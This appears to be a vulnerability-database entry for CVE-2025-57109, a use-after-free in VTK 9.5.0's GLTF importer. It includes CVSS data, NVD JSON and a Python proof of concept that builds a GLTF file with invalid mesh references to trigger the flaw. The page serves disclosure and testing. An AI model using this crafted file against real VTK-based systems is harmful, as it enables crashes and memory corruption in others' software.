Security Vulnerability Report
中文
CVE-2025-57109 CVSS 6.5 MEDIUM

CVE-2025-57109

Published: 2025-10-30 19:16:35
Last Modified: 2026-04-15 00:35:42

Description

Kitware VTK (Visualization Toolkit) 9.5.0 is vulnerable to Heap Use-After-Free in vtkGLTFImporter::ImportActors. When processing GLTF files with invalid scene node references, the application accesses string members of mesh objects that have been previously freed during actor import operations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Kitware VTK (Visualization Toolkit) 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-57109 PoC - Malicious GLTF file generator Generates a GLTF file with invalid scene node references to trigger Use-After-Free """ import json import os def create_malicious_gltf(): """ Create a malicious GLTF file with invalid node references that triggers the Use-After-Free in vtkGLTFImporter::ImportActors """ gltf_data = { "asset": { "version": "2.0", "generator": "VTK CVE-2025-57109 PoC" }, "scenes": [ { "name": "malicious_scene", "nodes": [0, 1, 2, 3] } ], "scene": 0, "meshes": [ { "name": "valid_mesh_1", "primitives": [ { "attributes": { "POSITION": 0 } } ] }, { "name": "valid_mesh_2", "primitives": [ { "attributes": { "POSITION": 1 } } ] } ], "accessors": [ { "bufferView": 0, "componentType": 5126, "count": 3, "type": "VEC3", "max": [1.0, 1.0, 0.0], "min": [0.0, 0.0, 0.0] }, { "bufferView": 0, "componentType": 5126, "count": 3, "type": "VEC3", "max": [1.0, 1.0, 0.0], "min": [0.0, 0.0, 0.0] } ], "bufferViews": [ { "buffer": 0, "byteOffset": 0, "byteLength": 36 } ], "buffers": [ { "byteLength": 36, "uri": "data:application/octet-stream;base64,AAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAIAAAAAAAAAAAAA==" } ] } return gltf_data def create_invalid_scene_nodes_gltf(): """ Create GLTF with invalid mesh references in nodes This triggers the UAF by referencing non-existent meshes """ gltf_data = create_malicious_gltf() gltf_data["nodes"] = [ { "name": "valid_node_1", "mesh": 0 }, { "name": "node_with_invalid_mesh_ref", "mesh": 999 }, { "name": "another_invalid_ref", "mesh": 888 }, { "name": "valid_node_2", "mesh": 1 } ] return gltf_data if __name__ == "__main__": output_dir = "./poc_output" os.makedirs(output_dir, exist_ok=True) gltf_data = create_invalid_scene_nodes_gltf() output_path = os.path.join(output_dir, "CVE-2025-57109_malicious.gltf") with open(output_path, 'w') as f: json.dump(gltf_data, f, indent=2) print(f"[+] PoC GLTF file created: {output_path}") print("[+] This file contains invalid mesh references that can trigger UAF") print("[+] To test: Load this file using VTK 9.5.0's vtkGLTFImporter")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57109", "sourceIdentifier": "[email protected]", "published": "2025-10-30T19:16:35.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kitware VTK (Visualization Toolkit) 9.5.0 is vulnerable to Heap Use-After-Free in vtkGLTFImporter::ImportActors. When processing GLTF files with invalid scene node references, the application accesses string members of mesh objects that have been previously freed during actor import operations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://gitlab.kitware.com/vtk/vtk/-/issues/19735", "source": "[email protected]"}]}}